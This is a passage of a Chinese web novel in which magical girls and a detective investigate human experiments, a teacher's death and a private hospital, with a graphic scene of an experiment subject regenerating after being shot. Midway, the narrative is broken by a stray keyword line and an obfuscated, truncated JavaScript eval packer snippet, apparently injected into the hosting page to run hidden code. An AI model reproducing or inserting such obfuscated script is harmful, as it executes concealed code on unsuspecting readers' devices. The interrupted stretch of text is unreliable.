“为什么在犹豫?”森山寺未雅看出了自己妹妹正在烦恼,“是因为担心实验出事吗?” “当然啦,艾克里普一直很担心普通人对我们感兴趣。”森山寺未央点头,“但是晓说那位克拉拉小姐和伊提阿姨认识,并且晓自己也和对方分享了自己的信息,在这一点上我就认为克拉拉并不会贸然对我们做出可疑举动的。” “想这么多干什么。”森山寺未雅打断道,“实验失败了那也不过是失败了而已,有你们几个在我还能死了不成?” “…话是这样说没错。”森山寺未央说着,却对那毫无波动的语气感到生气,“你有想过万一你真的死了那怎么办吗?我怎么办?爸爸妈妈怎么办?” “我想说我不在意。”森山寺未雅说,“但我真正的回答是我不知道,我无法想象我死掉的未来。” “那我告诉你。”森山寺未央笃定地说,“我们会非常非常的伤心,绝不可能有‘这里还剩一个呢那就这样吧’的妥协出现,你能理解吗?” “我不能。”森山寺未雅说。 “谁管你能不能啊!”森山寺未央生气地不再看森山寺未雅了。 “总之药物临床试验只要阻断及时就不会出现不可挽回的结果,我会有所准备的。”艾克里普说,“那到时候如果出现了异常情况一定要马上告诉我,我会马上赶到的。” “当然啦!谢谢你!”森山寺未央说。 “那我也说一下我刚才的发现吧,我有偷偷跑出去回到案发现场看。”有乐羽生说,“之前我们战斗的地方已经完全被警察管控起来了,不过我没看到她们更多的举动。我想办法进去检查了一下当时斗争最激烈的地方,但除了一片废墟以外没有任何其它痕迹了。” “一点留下的血迹都没有吗?”犬山晓问道,她记得自己做法没那么温柔来着。 “没有,而且当时掉下来的肢体也消失了,警察那边没有发现这件事的迹象,它们认为有易燃物在那里爆炸了,所以才会没有生物痕迹但建筑损坏严重。”有乐羽生说。 “对方应该是有能控制血液的方法,毕竟以当时的情况来看她应该很快就会因为失血过多而虚弱才对。”犬山晓分析说。 “羽生辛苦啦,也辛苦那些警察处理这件事了,希望建筑重建能顺利呢。”艾克里普说。 “我们在网络上搜索了一些线索,”森山寺未央转述,“这个圣心医疗保险机构没有官方网站,我们根据那份账单上的联系方式尝试搜索,只找到了一家相同联系方式的同名的物流公司,同样没有官方网站,但其物流中心城市分部在Evo园区里面。 而那所神脉医院倒是有在正常营业,现在作为私立医院活动,在当地还挺有名的。但地址在另一座城市中临海的区域,过去需要三四个小时的汽车驾驶时间。” “这个医院我们也应该去调查一下的,不过距离太远了调查范围也大,需要挑时间。”犬山晓说,“不过我觉得那里可能会有很大的线索。” “而且我们如果准备动身前往其它地区最好隐蔽行动!”森山寺未央说。 “这样一说确实,我们如果准备坐公共交通就肯定会留下记录的。”有乐羽生思索着说,“但是跨城市的话就只能坐列车了吧,我们没有车可以开。” “我没听说过这么一家医院,应该是私人的,没有在公共场合宣传过。”艾克里普思索着缓慢地打字,“如果有定点坐标我可以直接带着大家过去,不过我得先找到那里。” “我们一起行动吧,大家一起的话能找到更多东西的。”森山寺未央这样相信着。 “嗯!”艾克里普很高兴看到这样的话。 几人谈论之间,天色逐渐暗了下来,宣告这漫长的一日即将步入黑夜。 “今天下午真是发生了很多事呢。”有乐羽生感慨说。 “我其实觉得你们还挺神奇的。”森山寺未雅忽然说道。 “我们四个吗?怎么了?”森山寺未央不明所以。 “说到底,魔法和魔物都是脱离常理的存在,但你们四个每个人都理所当然地就接受了。”森山寺未雅说,“别人我不了解,你不会觉得魔法这种东西和正常的生活有种错位感吗?你们没有考虑过这到底是什么东西吗?没考虑过风险吗?” 森山寺未央思索了一番,发觉自己确实是对魔法接受得非常快,她在获得那份实验报告的信息之后一开始确实消化了一番才接受,但之后马上就开始尝试了。 “大家都有自己的原因吧,”森山寺未央顿了顿,看着对方说,“我当时觉得,如果你能恢复正常的话那无论怎样都无所谓,不会有比那时更坏的情况了。” “这样吗?”森山寺未雅听了后愣了愣。当时是什么东西,是什么情况,是什么心情,她通通一无所知,但若是当时比现在更坏,那么,森山寺未雅不禁想,那时的森山寺未央是什么模样呢? “对啊,你自己是不记得了,我可记得一清二楚呢!”森山寺未央现在对话题选择毫无顾忌,“我每次去里面见你都会被你拿东西砸,医生说的话很悲观,你说的话都乱七八糟的,爸爸妈妈去看你你根本就不愿意见,但我们真的不在你又问我们在哪里。” 之后森山寺未央絮絮叨叨地说了许多那时的经历,她一直以来自己一个人把这些话憋在心里,久而久之脑子都变得沉甸甸地。而现在她将这些事全盘托出,像是在讲出丑的趣事一般兴致勃勃,森山寺未雅一言不发地跟在她身后听着。 “不过如果你变回来了的话,是不是会变回那副样子呢?”森山寺未央想到这里停顿住了。 “怎么了?怕我再拿东西砸你吗?”森山寺未雅问。 “不是啦,”森山寺未央想了想,“我害怕我的身边的一切都回到这样之前的样子,我可能不会再有其它办法让你恢复平静了,爸爸妈妈会变得很伤心,你也会——” 说到这里,森山寺未央看着森山寺未雅停顿了一会,她想要以语言来传达自己的感情,好让自己那无法吸收感情的姐姐能以那些字符去思考结果,森山寺未雅就静静地站在原地等她说出来。 “——你也会变得很痛苦,这就是我最痛苦的事情了。”她轻轻地说。 森山寺未雅一时无言,她感到心里流过了很多,很多的东西,它们没能留住,只是短暂地经过了之后就再也没能停下,她抓不住,但却在每个一瞬间感受到,因为她在呼吸。 如果有一天,森山寺未雅不禁想,有一天她认为自己活着是一件麻烦事,那会如何呢?她发现意外地清楚这样的结果会是什么,却也无法对此感到恐惧和痛苦。 “我不知道,”森山寺未雅问,“痛苦是什么感觉?” “你会被绑起来,要么一动不动地发呆,要么撕心裂肺地嘶吼着扭来扭去,你会拒绝吃饭,只能靠打针活下去,甚至如果你没有被绑起来,你就会伤害你自己。”森山寺未央越说越难过。 “这样吗?我会变成这样?”森山寺未雅完全不理解为何会这样,这毫无疑问是某种缘由导致的结果,缘由存在,但她忘记了。若是说曾经的自己还未逐渐对一切都失去兴趣,尚且还有着感兴趣的东西,那么那个自己到底是在为了什么而这样痛苦呢? “也可能会变成其它样子,未雅,明明我们是双胞胎,但为什么只有你在经受这样的痛苦呢?”森山寺未央非常地悲伤,她无法理解自己的姐姐,但却没有放弃过理解她。 “我不知道,但是我不害怕变化。”森山寺未雅摇头,“那时的我在想些什么,现在的我已经完全不记得了,如果能再次变成那样,那我反而更——” 这里应该接什么词呢?森山寺未雅不明白自己在想什么,那些情绪一缕缕流过,没有一个在她的舌尖留下一个定语,更好?更正常?更开心?她真的会这样觉得吗?她感觉自己在一个虚无的世界中心百无聊赖地站着,周围的一切都是无所谓的,和她没关系的,她不在乎的。 除了眼前悲伤地看着她的森山寺未央。 “更能理解你吧。”最后,森山寺未雅这样说。 听了这些话的森山寺未央却是哭了,她拿袖子擦着眼泪,一声一声地抽泣着,森山寺未雅掏了掏书包,找出了餐巾纸。 “校服洗起来很麻烦,用纸巾。”森山寺未雅说。 “我会想办法的,我一定会想办法的!”森山寺未央悲壮地说,“无论如何都会有办法的。” 森山寺未雅没去问办法是什么,只是拿着纸巾看着她。 森山寺未央接过纸巾,哭得更大声了,二人就这样一个哭一个看着,直到走回公寓。 30.····· 2024年4月23日,星期二,天气多云。 市劳动标准办公室派出专员与码头工人劳动联合会负责人在咨询后成功合作谈话,就近期物价上涨与薪酬进行友好探讨,城市安全专家参与会议。 日之森短期内出现第二起内部人员死亡案件,校区校董会宣传将联合市警察局对细节进行调查。城市教育办公室对后续发展表达高度重视,住房办公室将参与调查。附近街道将增加巡逻评论。 市议会以6票赞成、3票反对,通过【街道绿化优先条例】,未来五年内将在以西部老城区为例的低收入社区新增3500棵行道树,旨在缩小城市热岛效应不平等现象。反对议员认为该项目可能挤压交通预算。 西部居民区一处独立屋在翻修地下水管时挖出一个封闭地窖,内有布满灰尘的金属箱,箱内放有1940年代风格的笔记本,手写内容晦涩不明,提及“频道频率”、“低频顺从”、“群体视线适应机制”。房主表示:“我不会再住这了。” 第二日清早,日之森发布了关于西西路遇害的悼念信。 亲爱的全体师生、家长及教职员工: 我们怀着沉重的心情向大家通报一个令人痛心的消息:我校教师亚贝琉西西路女士于昨日在校外不幸离世。根据执法部门的初步调查,目前案件仍在进一步处理中,我们正积极配合相关部门调查,确保事实真相得到公正对待。 亚贝琉西西路女士一直是本校敬业负责的教育者,她的离去对整个校园社区都是一个巨大的损失。在这个艰难的时刻,我们向她的家人、朋友及所有受其影响的师生致以最深切的哀悼和支持,今日上午将举行哀悼仪式。 学校为受此事件影响的学生和教职工提供心理支持服务,任何需要帮助的同学和老师可以联系心理咨询室。 为了尊重逝者及其家人的隐私,我们恳请大家避免传播未经证实的信息,并理性对待相关讨论。如有任何与案件相关的重要线索,请直接联系当地执法部门联系方式,以协助调查工作。 如有进一步的官方信息,我们将及时向大家更新。感谢大家的理解与配合。让我们共同度过这个艰难的时刻,并以实际行动表达对逝者的怀念与尊重。 这样的邮件在短时间多次出现,并没有频繁到能让收信的人感到麻木,但更糟,校内氛围变得更加恐慌,有关相关事件的流言蜚语或奇思妙想都多了起来。许多学生家长给学生请了假,表示在案件调查清楚之前不会再返校,日之森内部的安保更是多出了一倍有余,一部分身上穿着警服,一部分是连警服都没有的私人武装部队,进一步渲染了紧张的气息。 那些私人武装部队并没有引起校内人士的恐慌,因为派遣和指挥的人是校董会成员有乐千奈,市警察局联合市长办公室担保可信度,谁问都是这个答案。 早课时间,校内的人纷纷前往演出厅,路上摆满了花圈和白花,西西路作为新的助教老师在校内并不被所有人熟知,大家低声谈论的大多数是关于安全的话题。 演出厅内,森山寺未央看见了坐在前排低头不做声的古河梦久,她的不言语不再是刻意为之的。这让她不禁想起了那个毛毡挂件,她不理解它出现在那个无秩序空间内的理由,她不知二人关系如何,对彼此的印象是如何,而古河梦久对西西路的死亡又作何感想。 公共哀悼会并不是一个合适的询问机会,森山寺未央明白这一点。 【抱歉大家,我母亲让我从今天开始一放向就回家,家教老师放学后就会在家里等我。抱歉今天不能和大家一起行动了。】有乐羽生无精打采地说。 【羽生的母亲或许也是担心安全问题吧,不要道歉啦!】森山寺未央说。 【羽生的母亲她或许也有自己的想法吧。】艾克里普想起了她曾见过的那位顾问,【就我的了解,那位非常善于评估风险之类的责任问题,在没有得到准确信息的情况下确实是不可能理解我们所做的这些事情的必要性的。不过不用担心的羽生,我会看着的!】 【其实总感觉这件事迟早要发生,羽生有什么想法吗?】犬山晓担心地说。 【我果然还是想和母亲谈谈,她大概是不会理解我的吧,所以我也不知道该怎么开口。不过就行动而言她阻止不了我的。】有乐羽生态度很坚决。 【加油哦羽生,这件事只能你自己去做,不过需要辩论参考的话尽管找我帮忙!】艾克里普鼓励道。 【羽生的母亲我只见过照片啊,不过,她应该是不会喜欢我们的。】森山寺未央感同身受地说道,【被嫌弃什么的虽然很讨厌但没关系我们魔法少女就是这样宽宏大量的啦!】 【…只要她不找到我们面对面说就行,羽生加油。】犬山晓心有余悸地说。 【谢谢大家!】有乐羽生感到被安慰了。 默哀仪式开始,但演出厅里的人数远远不及天生目白的哀悼会人多,人少了连哀悼都显得没那么悲伤了起来。西西路并不被人熟知只是原因之一,另一原因是校内通知是今天早上发送的,许多人并没有做好空出时间的准备。 有些人走上前去安慰古河梦久,她只是摇摇头,并没有说话。 时间因为无事发生很快到了正午,由于校内安全问题,日之森决定取消下午的选修课时间提前放学时间,并且禁止课后社团活动。上午有校内学生猜测校方是准备在校内增加监控设备和防护措施,但无论如何,除了学生会成员没什么人对提前放学表达异议。下午时间日之森校外的安保人数众多,那些黑漆漆的沉默者一边看着学生被接走一边手写记录,这也是新增的安保措施之一,有乐羽生与各位道别和也坐上来接她的车离开了。 “那么我去见启明星侦探,我那边结束后会尽快赶去你们那里的。”艾克里普有些担心地说。 “好,艾克里普如果有事也记得给我们打电话。”犬山晓点头。 “走吧!”森山寺未央神情非常凝重,而且很明显地能看出来昨晚没睡好。 “走吧。”森山寺未雅倒是依旧是那副无所谓的样子。 几人同行了一路,在市中心的车站分开了。 艾克里普以最快的速度前往启明星侦探事务所,她的眼镜使她那异于常人的行动速度没有被路人瞩目,她根据地址达到指定的大楼前,现代玻璃表层反射日光,她发现这栋建筑中只有一层在被投入使用。 穿过大楼正门步入楼梯间,一路既没有“欢迎光临”也没有“此处禁止无关人员造访”,一楼的空旷大厅没有前台,只有几棵迎客松。 以及那藏于天花板闭合处的枪管和无死角的监控,发现这些后艾克里普感到安心了些,为着启明星有安全意识这一难得可贵的好东西。 “叮——”电梯的门缓缓打开,眼前约十平米的空间内左侧是单向落地窗,右侧是用于休息的木质带软垫的沙发和茶几,茶几上有主动散发凉意的金属托盘,用以在日光下冷却其中摆放着的待客小甜品。再往前便是正式的事务所入口,仿木纹材质的合金门的右侧用符合商用建筑内独立工作室制度的不锈钢名牌介绍内容:“启明星侦探事务所”。 艾克里普没有多停留,径直上前拉开了事务所的大门把手。 事务所占大楼二层全部,光线明亮,无肉眼可见的非自然光源。一眼看去事务所内多是与这座现代化玻璃淋面大楼颇具反差感的复古风格木质家具,入内先遇到的空间在功能上明显是会客区。直角型皮制愣格棕色沙发群因自豪与受打理者重视而闪闪发光,无靠枕,沙发的一侧摆放着等人高的绿植,茶几表面空旷。落地窗前没有摆放任何遮挡视线的东西,但地上铺设了地毯。 入口处右手边的墙上挂着许多装饰画,但更多的是荣誉表彰,以及一面全身镜和与侦探这一职业的风格过于符合的自发声落地式钟摆,墙上有门,无标牌。 继续观看右侧其余区域,简单隔断后的办公区域内,跨过承载美梦的摇椅和承载工作的办公桌椅,那背后的书架功能的墙面上有书籍和文件按照厚度高度排序,梯子架在一边,略有磨损,书架墙下方地毯是针织的。 书架墙最靠内的一侧有门,门内神秘侦探私人空间为楼层面积该有的另一半区域。门忽然开了,侦探启明星一边调整着右眼上眼罩的位置一边走了出来,顺势带上了门。 “艾克里普小姐,”启明星微笑着走上前来迎接,“让我为没有来接您致歉,请随意坐吧,看您行色匆匆,我们就不浪费时间了。” “没有需要侦探道歉的地方,是我没有事先说明就提前到了。”艾克里普摇摇头,顺势坐在了会客厅的沙发上,而启明星从办公桌上拿起了一些文件,坐在了她的对面。 侦探抬头礼貌微笑,弧度和西服同样整齐,现在是工作时间。 “可惜助手还没回来,早些时间我吩咐他去取一件物品。不过这并非紧要线索,让我们从上一次的结尾处开始吧。”启明星说着,从文件堆里取出了一个白色的文件夹,从外表看简陋的得称之为低调风格。 艾克里普点头,顺势看向了那文件。 “亚贝琉西西路的所做所经历的那些想必你们不会忘记,昨日你们去勘探了一番她的私人住址。我很高兴你们动作很快,在昨日夜晚那处公寓就被城市秩序专家这些我没法干涉的外来人员封锁了,你们带给我的线索毫无疑问是珍贵的,并且证实了我的一些猜想。”启明星从文件夹里取出了一些照片。 一张是西西路的照片,照片上的人与在日之森教学的西西路有着相似的五官,五官并不能证明个人性格特征,艾克里普却从这其中察觉到了些许不同之处。另一张照片上的人更稀奇些,艾克里普迅速想起来,这是她曾经从森山寺未央查到的资料中看到的Evo公司的CEO,湛。 “这两位我认识,但和我印象里的不太一样,应该是年龄和微表情的原因。”艾克里普皱着眉拿起两张照片,其中湛的那份带来差异感表现更突出。虽然她只在照片和视频中见过,但她很难将手里照片中这个微笑有些阴沉的人和采访视频里那个意气风发的成功人士看作是一个人。 很难不代表不能,采访视频来自十年前,艾克里普知道,普通人活不了多少个十年的。 “请看这张。”启明星取出的另一张照片,也是湛的,这张照片上的她就和Evo官方网站中被采访的那位没什么区别了,而与前者相比,除开气质之外最大的变化便是那采访视频中不知是否是因为光线原因而微微发蓝的长发末端。 “我与此人从未见过面,但得益于我可靠的朋友,故意中找到了她在以完全不匹配的工作经历上任国际生物基因科技相关的著名公司CEO之前的大学。”启明星语气并没有表达出与内容相匹配的嘲讽或质疑,她在朗读,“但家族化管理的公司重视血缘,这位的就职体验如果愿意写在她的自传里的话或许会受年轻人的追捧吧。” 艾克里普想起湛和西西路共享一个姓氏,但二位从地位到五官差距都太过于戏剧化,人类家族内成员之间的关联视情况而定可以是紧密的也可以是不存在更好的,艾克里普不太在乎这方面的内部故事,但启明星此时提起这件事,她便也思索了起来。 “那么,西西路老师她做出那些事情,说出那种话,难道是因为血缘吗?”艾克里普有些犹豫这个理由的合理性,原因并非轻视血缘,“可是西西路老师被害,动手的人是格雷伊操控的人造魔物,也就是Evo公司中进行人体实验的幕后黑手。” “是的,所以我个人推荐将她的所作所为的原因归类为洗脑,这并非小概率事件。”启明星说。 “这我明白。”艾克里普点了点头,“能用同类做实验的人做出什么事我都不意外。” “所以在这一点上,我推测天使众的全员都接受过洗脑。”启明星顿了顿问道,“有个专业相关问题需要询问您,能使用魔力的人,在这世间占比多少?” “若是您说的是像我们这样的魔法少女的话,那概率论是不可使用的,魔法少女的存在是奇迹,奇迹的出现与否并非能以数字去计算。”艾克里普思索着继续说,“但如果您说的只是‘靠外力达成使用魔法’这一点的话,那只要持有魔法道具就可以做到。但魔法道具的诞生也并非是可以人为控制的,甚至在我的观察中,越是尝试控制越是会减少出现的概率。” “有可能就要考虑,那就让我们假设对方是在持有魔法道具的情况下进行人体实验以及一系列研究的吧。”启明星说。 “…没错,这样风险控制更彻底一些,您的想法很全面。”艾克里普思索了一番之后肯定道,“魔法道具是魔法的固定化呈现模式,与魔物相反,它只有一个魔法效果但只要存在就会一直奏效。” “听上去相当有性价比啊!”启明星赞叹道,“魔法道具显存数量如何?” “稀少,除非形式和隔绝魔力气息的方式特殊,我不会让它们沦落到被人类利用的境地。”艾克里普说着叹了口气,“它们不会考虑自己诞生之后要如何,但我总觉得只要时间充足那它们也是需要选择的权利的,抱歉,话题扯远了。总之这个星球内现存下落不明的魔法道具的数量在考虑各方面因素后不会超过13个。” 艾克里普说这句话时神情郑重,她是这方面话语权最大而且数量唯一的专家。 “那就假设只有一个存在于那些人的手里吧,您认为这个道具的作用会是什么?”启明星想了想补充道,“据我的推测,魔法并非是可以用字面意思去理解的东西,而是更为,开放状态的某种不明确的,东西。” 启明星用词谨慎,但她的表情依然是犹豫的,并非是对自己推测的不确定,而是对自己语言表达能力的不确定。 “您的推测是正确的!”艾克里普欣喜地笑了,“真没想到您能理解到这个地步,是因为思考的开放性吗?未能完全发育的脑部结构在理解这一用途上还未经受认知的打磨所以才能达到这个地步吗?真是太令我惊喜了!” 启明星一言不发地看着艾克里普微笑。 “总,总之。”艾克里普清了清不需要清的部位,“总之就像是您说的那样,魔法的衍生效果很多,光是洗脑这一个效果没法定义源头,不过洗脑的话人类本身就有自己的手段。” “没错,那么血液控制如何?”启明星问道。 “血液控制。”艾克里普顿了顿,她思索了一番之后才说,“…血液控制效果以魔法解释的话也有很多源,衍生,生长,更新,甚至共享这些并非生物专精的魔法都可以做到。” “…看来以行为逆推是不行的吗?”启明星若有所思,打开记事本写了些东西,再抬起头微笑着说,“那就先将这些放在一边。关于亚贝琉西西路的死亡,我的推测有三,一为防止信息透露,二为使用期限达到,三为时机成熟,这三个可以共同存在。” “使用期限达到,您的意思是西西路老师可能也是人体实验的受害者吗?”艾克里普有些意外,“我确认过她体内并没有魔力气息。” “人体实验也是实验,衍生产品众多,并非只有直通天使一条路。”启明星摇了摇头,“之前的人造魔物也是衍生产品之一,以及,事务所的助手也是,您可以称呼他为六十七号。” “…好的。”艾克里普犹豫地说。 “他的代号是RP-h067,不必可怜他的称呼问题,这是他自己的选择,同时比起称呼他有着更在意的目标,也就是,复仇。”启明星说,“六十七号在实验过程中因一些原因被判为瑕疵品,实验人员准备提前结束他的使用期限,所以我想亚贝琉西西路面临的也是同样的境地。” “六十七号先生真是个豁达的人。”艾克里普皱眉说,“他应该是不想自己的名字被视为数字的,但这个数字也代表着实验体的数量,这并不是一个小数字,他还有说什么别的信息吗?” “很遗憾,他没有这个权限也没有能力。”启明星摇了摇头,“但他从到目前为止的实验中确实获得了一些东西,比如超乎寻常的自我治愈速度,比如一具超出他心智的躯体,这让他得以从逃亡中生存下来,虽然希望渺茫,但仍旧获得了复仇成功的可能性。不过确实有一个在我看来存疑的信息。” “会成功的!我们不会放过幕后黑手的!”艾克里普郑重地说,“那是什么呢?” “天使,或者说所有接受过实验的受试者都无法离开这座城市。”启明星皱眉,“但是无论是亚贝琉西西路还是湛都有过类似的行动,所以可信度存疑,也拜托各位留心观察一下了。” “这个限制确实很奇怪。”艾克里普说,“您所说的最后一个推测,时机成熟是什么意思呢?” “据我一个可靠的朋友的消息,亚贝琉西西路的尸体没有被收入市警察局的法医停尸间,也没有被安葬,而是被‘城市垃圾回收专员’带走了。”启明星顿了顿,继续说道,“这个称谓确实是城市公共卫生办公室旗下的职位,但这才是问题所在。她活着没什么大用,但死后有效期未抵达极限,而且使用时出错的可能性更低。” 西西路的尸体被带走了,但去向不明,接手的人是城市政府官方人员。 “这座城市,治安确实一直不太有秩序。”艾克里普委婉地说,“魔物数量在我们的控制下已经不再危险了,虽然表面上看城市的治安没什么问题,但这稳定却是由那些‘专家’和其它外包成员托举起了的,我不认为这是持久的。希望阿尔卡纳国王保佑这里,我会一直看着的。” 启明星听到最后一句眼睛眨了眨,将责任与义务全数托管给宗教的是狂热宗教分子,但若是自身也在努力的卫道士,那她不认为自己有否认其语言的理由,更别提中间还隔着认知障碍。 “这稳定只要那位有乐千奈顾问还在位就再能维持一段可观的时间吧,她看着离退休至少还有一个市长再任期的时间呢,她本人也乐此不疲。”启明星笑着说。 结构性,风险缓冲,与社会稳定,项目,执行顾问,分开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“…让我后面再思考一下这个问题。”启明星低头记录,“总之以目前的事件发展和事实而言,我不认为那张光碟的所有人是一个可以就这样被带过的角色,推测她有大概率还会留下些什么,毕竟她看上去并不是一个简单的工具角色。各位若是去神脉医院调查的话一定能找到与她相关的线索吧,毕竟那里可是私人医院,院长个人出资占大头的那种。” “您认为我们需要尽快行动吗?”艾克里普担心地问。 “是的。”启明星直截了当地说,“因为最近奇怪的事接连发生,可能此时的某处就正好上演着不可思议的事情吧,魔法少女也好天使也好都是许久之前存在但最近忽然开始行动的。而且,最近失踪和死亡人数越来越多了,不仅仅是这个城市内。” “是这样吗?”艾克里普有些意外,“我许久没有离开这座城市了。” “并非是您责任范围内的事务。”启明星沉默了一会,继续说,“坦白地说,这或许不是任何人责任范围内的义务,死亡每天都在上演,或许是我因为最近发生了许多不可思议的事情而过于警惕了。” “…我明白了。”艾克里普理解了启明星所表达的含义,“不过我信任您的直觉,我们会尽快前往神脉医院进行调查,并带回线索的。” “当然,最大的线索已经摆在台面上了。”启明星笑着翻出另一张黑白照片,暗淡的发色与因曝光问题而模糊的面部对比强烈,名字是博蒙-阿贝尔,“这位院长与那位CEO不同,从不离开神脉医院半步,请各位一定要从她那里得到些口供。而且我推测神脉医院与Evo的联系恐怕不只是合作,亚贝琉西西路的剩余价值,那具躯体所包涵的是什么,或许各位能从那里找到一份清晰合理但又离奇的答案。” “我明白了。”艾克里普郑重地说,“若是那里出现了与之相关的物品我会销毁。” “真是令人安心。”启明星笑了,“那么我就没有可以与您交代的事项了,这些文件请您带走,我在档案中标注了一些特殊的年份以协助您在神脉医院的调查。我明白您时间紧迫,很遗憾六十七号没及时带着有用的线索回归。” “您要找的线索是什么呢?羽生说她去那里看过了,现场只有建筑废墟。”艾克里普问道。 “就是建筑废墟,或者说在战斗过程中被血液污染过的建筑废墟,内部人员总有特别的渠道能找到些自己人的。”启明星说着又皱起了眉,“采样需要这么久吗?” “不要紧吗?”艾克里普警惕了起来。 “有事的话他会打电话的,”启明星并不紧张,“反倒是各位不要紧吗?” “我们吗?为什么这么问?”艾克里普不解地看向启明星。 “你们之前已经遇到了吧,来自天使的袭击,虽然并不是提前埋伏的但也成功探到了路,以后上路者会越来越多的。”启明星说。 “确实,接下去那些人只会越来越过分,而且重要的是她们完全不在乎普通人的生命和城市的安全。”艾克里普神情严肃,“感谢提醒,我们会注意安全的。” “你们没想过离开这座城市吗?”启明星又说。 这个问题让艾克里普一时愣住了。 “若是假说成立,天使中大部分无法离开这座城市,那么你们离开就好了。她们针对的目标毫无疑问是你们。”启明星说。 “我没想过这个选择,作为魔法少女我不会离开这里,守护这座城市就是我最大的目标,而更别说这座城市里还有我的朋友们和我们珍视的家。”艾克里普摇摇头说,“而且我不认为幕后黑手的所作所为仅仅是为了伤害我们。谢谢您的提醒。” “这样的话那我也不再多说了。”启明星面露不解,但也没有继续问下去。 就在这时,启明星办公桌上的电话忽地响起,铃声短而仓促,启明星向艾克里普点了点头,站起身来走向办公桌,坐在椅子上接起电话。 “您好这里启明星事务——” “额,咕咕,”电话那一头用喉咙里发出的声音打断了启明星的自我介绍,她低头看了眼号码。 “还能说话吗?”启明星语气不再充满热情充满热情,表情转为无奈,仿佛刚建好的房子被与魔物战斗的魔法少女的巨大光炮摧毁了一般。 “咔——” “定位呢?” “额。” “诶,等着吧。”启明星挂断了电话,“抱歉艾克里普小姐,六十七号身体抱恙,今天大概是没法与您见面了。” “真的没关系吗?”艾克里普听见电话那一头的声音完全就是气若游丝。 “现在我不得不过去一趟处理员工问题了,那么,期待您的下次光临。”启明星起身,迅速地准备离开了。 “我和你一起过去吧。”艾克里普也站了起来,她实在是不放心这样一个孩子独自跑去危险的地方,哪怕孩子有枪。 “也好,本来他去取的东西就是要带过来给您的,这样一来倒是也算达到目标了,请跟我来吧。”启明星取过拐杖走向事务所门口,艾克里普带着文件跟上,二人离开后启明星在门旁边的隐藏式控制器上摁了几下,有机械运转的声音从门中发出,大概是被锁上了。 “我们是要去哪?”艾克里普问道。 “昨日下午发生事件的废墟,我有通行证可以进入封锁地段,不过免不了被问些问题吧。”启明星说,二人走进电梯,她又叹了口气,“我让六十七号自己行动就是因为不想被发现,没想到遇到了袭击,这大概率也是天使所为吧。” 艾克里普警惕了起来,她认为要隐蔽行动,二人走出一楼后她四处观察了一番,找到了大楼外的一处无人之地。 “启明星侦探知道那里的具体位置吗?”艾克里普问。 “当然,他大概是藏在这里附近。”启明星取出手机打开电子地图,缩放到事件发生地的警局附近的一处位置,艾克里普看了看便在脑海中有了大致的印象。 “请交给我吧,让我们尽快抵达目的地。”艾克里普说,启明星没问什么点了点头,二人来到无人隐蔽处。 艾克里普低头看了看启明星,发现她即使穿了鞋也只有到自己肚脐那样高,而这视线显然让对方意识到了什么,没有被遮住的那只左眼浮现出了挣扎,思考,和妥协。 “好吧,请不用在意我的感受。”启明星最后这样说。 “很快就好了,不用担心,请闭上眼。”艾克里普安慰道,她微微蹲下后单手托起启明星的大腿让她坐在自己的手臂上,随即凝神施法,让二人隐去身形并快速移动到目的地的正上方空旷处。 启明星见状迅速单手扶住艾克里普的肩膀,没有忘记小心地避开对方垂在背后的发丝,移动只是一瞬间的事,下一刻失重感传来,她依旧闭着眼放任艾克里普拖着自己从未知的地点向下坠,但这感受也同样消逝地很快,她感到自己如置身水中一样与地心引力失去了联系,缓缓落在了地上。 31.-···· “可以了。”艾克里普放轻声音说,启明星听罢睁开眼,发现周围正是她指出的地点,分毫不差。 “非常感谢,艾克里普小姐。”启明星一边道谢一边站在地上整理了一番服饰,随后拄着拐杖开始打量四周的环境。 观察沉思了不到半分钟后,她迅速地朝着不远处的的一处不显眼也没有刻意隐藏起来的树走去,艾克里普跟在她身后,看着她在树干上用拐杖戳了两下,很快一具勉强看得出是人型的身体从树枝上滚了下来瘫倒在地上,大致是一个较为壮硕的成年男性的大小,很难想象这样一具尸体刚才是如何隐藏在不足他胳膊粗的树枝上的。 此时眼前的这具尸体一动不动地趴在地上,头部仿若断了一般斜着,脖子处有明显的裂开式伤口,但暴露在空气中的地方却是已经结痂了,只是喉咙里隐约发出一些不明声音。启明星见状抬起左手想摸右眼的眼罩,但又很快放下了那只手。 艾克里普意识到,这位半死者大概就是六十七号了。 六十七号的身上虽然没有血迹但却是缺少了一些常人该有的肢体,他身上的服装倒是恰如其分地被毁坏得十分严重,原本大概是白衬衫的布料上大面积沾染着污渍和不明黑色液体,大部分已经和皮肤融合在了一起。 艾克里普甚至只能勉强确认他的心脏还在跳动,无法辨认对方还能活多久。 “这位就是那位六十七号吧?他是不是需要一些治疗?”艾克里普有些担心地问道。 “那反倒不需要,请退后一些。”启明星微笑着将手里的拐杖抬起,快速地将其扭动后掰开,长长的拐杖身体被靠在一旁,那留在手里的是一把迷你手枪。她没有介绍侦探的好伙伴的意思,而是快速走上前对准地上的人心脏的位置连开了三枪,三发子弹命中同一处伤口,半死者无动于衷,启明星快速退后大概三米的距离。 手枪只发出了轻微的闷响,反倒是地上躺着的人在被击中之后开始剧烈地挣扎了起来,艾克里普眼睁睁地看着那半死不活的人在心脏中枪之后反倒是爆发出了大量的魔力,那魔力在没有指引的情况下自发地涌入了那人的身体四处受伤和残缺的地方,而下一刻那缺失的肢体开始快速修复,宛如一个真正加速生长的胚胎。 “他在收到致死伤害后会启动再生机制,平时也能快速恢复但断肢再生就做不到了,抱歉让您看到这样不雅观的场面。”启明星皱眉致歉,眼睛看着地上扭来扭去不断生长的人。 “这也是那些实验之一吗?”艾克里普心里止不住地反感,但同时也对眼前经受痛苦的人感到怜悯。 “是的,他实际上本该在最后的一次身体检查之后的不久死去,因为他根本无法承受再生时的重组机制,但他逃出来了,这本来会加速他的死亡,现在您还能看见他活蹦乱跳的还是多亏了您之前提供的药物,那很大程度上缓解了他精神和□□上的衰弱。”启明星平静地介绍着。 她的平静告诉艾克里普这或许不是她第一次这样做了,但冷静也是侦探的必修课,侦探不是艾克里普的专业。 “他逃出来之后就被侦探您发现了吗?”艾克里普问。 